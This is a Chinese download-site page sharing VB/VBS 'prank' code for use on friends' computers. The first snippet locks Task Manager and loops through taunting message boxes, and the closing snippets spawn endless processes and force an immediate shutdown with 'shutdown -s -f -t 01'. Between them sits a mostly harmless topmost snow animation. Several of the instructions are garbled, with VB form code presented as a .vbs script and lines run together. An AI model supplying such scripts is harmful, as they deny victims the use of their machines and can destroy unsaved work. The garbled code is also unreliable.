VB代码(整人,实用。几个有趣的希望有帮助!!)

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

使用方法:新建一个txt文本文档。

然后把拓展名改成".vbs"的格式。

然后右键编辑,把代码复制进去,ok!!!
1.整死你啊!!!
此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵,你知道我是谁吗?", 16
MsgBox "什么??不知道?", 16
MsgBox "那你打开我干什么?", 16
MsgBox "你有空没事做吧?!", 16
MsgBox "我..就是鼎鼎大名的987876198", 16
MsgBox "987876198..", 16
MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16
MsgBox "算了算了,不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了!", 16
MsgBox "哈哈,是不是很过瘾呢?", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫王得地..", 16
MsgBox "性别:男..", 16
MsgBox "今年35岁..", 16
MsgBox "不好意思噢,我好像说多了..", 16
MsgBox "不要这样喇,听我说完先好不?", 16
MsgBox "来来来,开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛,你认真看下去我就放你走..", 16
MsgBox "好,开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈,想哭吗?", 16
MsgBox "被骗的感觉不爽吧?", 16
MsgBox "喂喂喂!别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了,任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16
MsgBox "因为我把循环设置成99了", 16
MsgBox "想保存电脑数据只有继续点了", 16
MsgBox "绝对会出到去的", 16
MsgBox "好了,废话不多说了,祝你好运..", 16
MsgBox "制作:低调不倒", 16
MsgBox "QQ:987876198", 16
MsgBox "E-mail:不告诉你", 16
MsgBox "好,继续循环..", 16
Next
End Sub
·······················································
2.满屏小雪花
这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。

雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。

本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。

本程序编译成exe 文件运行后,只能通过系统"任务管理器"才能终止运行。

程序运行效果截图如下:
'' '本程序包含两个窗体,Form1 和Form2,其中Form1 是启动窗体。

代码在在VB6 调试通过:
''下面是Form1 窗体代码:=====================================
'' 注意:在属性窗口将窗体的BorderStyle 属性设置为0,即窗体是无边框窗体
'' 在窗体上放置一个控件:Timer1,不必设置任何属性
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal
crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Dim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As Long
Private Type tySnow '定义表示雪花的数据类型
X As Single: xV As Single 'x 坐标、水平移动速度
Y As Single: yV As Single 'y 坐标、垂直移动速度
Se As Long: Size As Single '雪花颜色、大小
End Type
Private Sub Form_Load()
ctSnowS = 200 '300 '雪花数量
ctSeChange = 30 '雪花颜色的变化范围
'最大化窗口。

注意:不要用在属性窗口设置WindowState 属性的方
'式,也不使用Me.WindowState = 2 代码。

否则,在用户调整任务
'栏状态的时候,会造成积雪的位置错位。

Me.WindowState = 0
Me.Move 0, 0, Screen.Width, Screen.Height
ReDim ctSnow(1 To ctSnowS)
Me.Caption = "雪花飘飘"
Me.AutoRedraw = True: Me.ScaleMode = 3
Me.BackColor = RGB(235 - ctSeChange * 2, 235 - ctSeChange * 2, 255)
Call TransWin(Me.hWnd, Me.BackColor) '将窗口背景色设置为透明的
Form2.AutoRedraw = True: Form2.ScaleMode = 3
Form2.BackColor = Me.BackColor
Form2.Move Form1.Left, Form1.Top, Form1.Width, Form1.Height
Call TransWin(Form2.hWnd, Form2.BackColor) '将窗口背景色设置为透明的
Form2.Show
Timer1.Enabled = True: Timer1.Interval = 20
End Sub
Private Sub Timer1_Timer()
Dim I As Long, V As Single, H1 As Single, IsDown As Boolean, Se As Long
V = 8 '修改此数字,可改变雪花整体飘荡的速度
Randomize '初始化随机发生器
WinInTop Me.hWnd, True '使雪花(窗口)显示在最前,包括显示到任务栏上面
WinInTop Form2.hWnd, True
Me.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BF
For I = 1 To ctSnowS
ctSnow(I).X = ctSnow(I).X + ctSnow(I).xV * V
ctSnow(I).Y = ctSnow(I).Y + ctSnow(I).yV * V
If Rnd * 20 < 1 Then ctSnow(I).xV = Rnd - 0.5 '改变水平移动速度,模拟随风飘荡
If ctSnow(I).Size = 0 Or ctSnow(I).Y > Me.ScaleHeight Then Call SnowInit(I) '未初始化,或超出下边界
' ctSnow(I).Size = 2 '****调试代码
ShowStr Me, I '画一朵雪花
Me.Font.Size = ctSnow(I).Size
H1 = Me.TextHeight("*") * 0.5 '半个字符高度
If ctSnow(I).X < -H1 Then ctSnow(I).X = Me.ScaleWidth '超出左边界
If ctSnow(I).X > Me.ScaleWidth Then ctSnow(I).X = -H1 '超出右边界
'最下层积雪位置
IsDown = ctSnow(I).Y > Me.ScaleHeight - H1
If IsDown Then ctSnow(I).Y = Me.ScaleHeight - H1
'积雪密度:Y 坐标后H1*0.9 数值越小密度越大
'数值过大,如H1*1.5,会使积雪堆积成柱状或造成空隙。

'数值过小,如H1*0.5,会使积雪堆积速度缓慢。

Se = Form2.Point(ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 * 0.9)
If Se > -1 And Se <> Form2.BackColor Then IsDown = True
'已落到最下面,在Form2 的相同位置绘制积雪
If IsDown Then
ShowStr Form2, I
Call SnowInit(I)
If ctSnow(I).Y > Me.ScaleHeight * 0.9 Then
Form2.Font.Size = 12
Form2.CurrentX = (Me.ScaleWidth - 8 * Me.TextHeight("12")) * 0.5
Form2.CurrentY = Me.ScaleHeight * 0.92
Form2.ForeColor = RGB(0, 0, 255)
Form2.Print "双击此处消除积雪"
End If
End If
Next
End Sub
Private Sub ShowStr(Kj, I As Long)
'画一朵雪花
Dim H1 As Single
Kj.Font.Size = ctSnow(I).Size
Kj.CurrentX = ctSnow(I).X
Kj.CurrentY = ctSnow(I).Y
Kj.ForeColor = ctSnow(I).Se
If ctSnow(I).Size > 4.2 Then
Kj.Print "*"
Else
If ctSnow(I).Size > 3 Then Kj.DrawWidth = 2 Else Kj.DrawWidth = 1
H1 = Kj.TextHeight("*") * 0.5
Kj.PSet (ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 - 1)
End If
End Sub
Private Sub SnowInit(I As Long)
'初始化一朵雪花
Dim S As Single
ctSnow(I).X = Rnd * Me.ScaleWidth
ctSnow(I).xV = Rnd - 0.5
ctSnow(I).yV = Rnd * 0.5 + 0.1
S = 2 + Rnd * 9 '字体最大11 号
If ctSnow(I).Size = 0 Then
ctSnow(I).Y = Rnd * Me.ScaleHeight
Else
Me.Font.Size = S
ctSnow(I).Y = -Me.TextHeight("*")
End If
ctSnow(I).Size = S
S = 235 - ctSeChange * 2 + Int(Rnd * ctSeChange * 2)
ctSnow(I).Se = RGB(S, S, 255) '雪花略带蓝色,否则在白背景时将看不见End Sub
Private Sub TransWin(hWnd As Long, TransColor As Long)
'将窗口颜色TransColor 设置为透明的
Dim ExsTyle As Long
Const WS_EX_LAYERED = &H80000, GWL_ExsTyle = -20
ExsTyle = WS_EX_LAYERED Or GetWindowLong(hWnd, GWL_ExsTyle)
SetWindowLong hWnd, GWL_ExsTyle, ExsTyle
SetLayeredWindowAttributes hWnd, TransColor, 0, 1
End Sub
Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean)
'窗口保持最前
Const HWND_NoTopMost = -2 '取消在最前
Const HWND_TopMost = -1 '最上
Const SWP_NoSize = &H1 'wFlags 参数
Const SWP_NoMove = &H2
Const SWP_NoZorder = &H4
Const SWP_NoActivate = &H10 '不激活窗口
Const SWP_ShowWindow = &H40
Const SWP_HideWindow = &H80
Dim nIn As Long
If InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMost
SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove + SWP_NoActivate End Sub
''下面是Form2 窗体代码:=====================================
'' 注意:在属性窗口将窗体的BorderStyle 属性设置为0,即窗体是无边框窗体Private Sub Form_DblClick()
'双击清除积雪
Me.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BF
End Sub
1、sub form_load()
shell app.exename
end sub
2、do
shell "notepad.exe"
loop
3、shell "cmd /c shutdown -s -f -t 01"
1和2是不断运行程序,3是迅速关机。

-------------------------希望有财的捧个财场!!!望下载!!!------------------------------。

相关文档
最新文档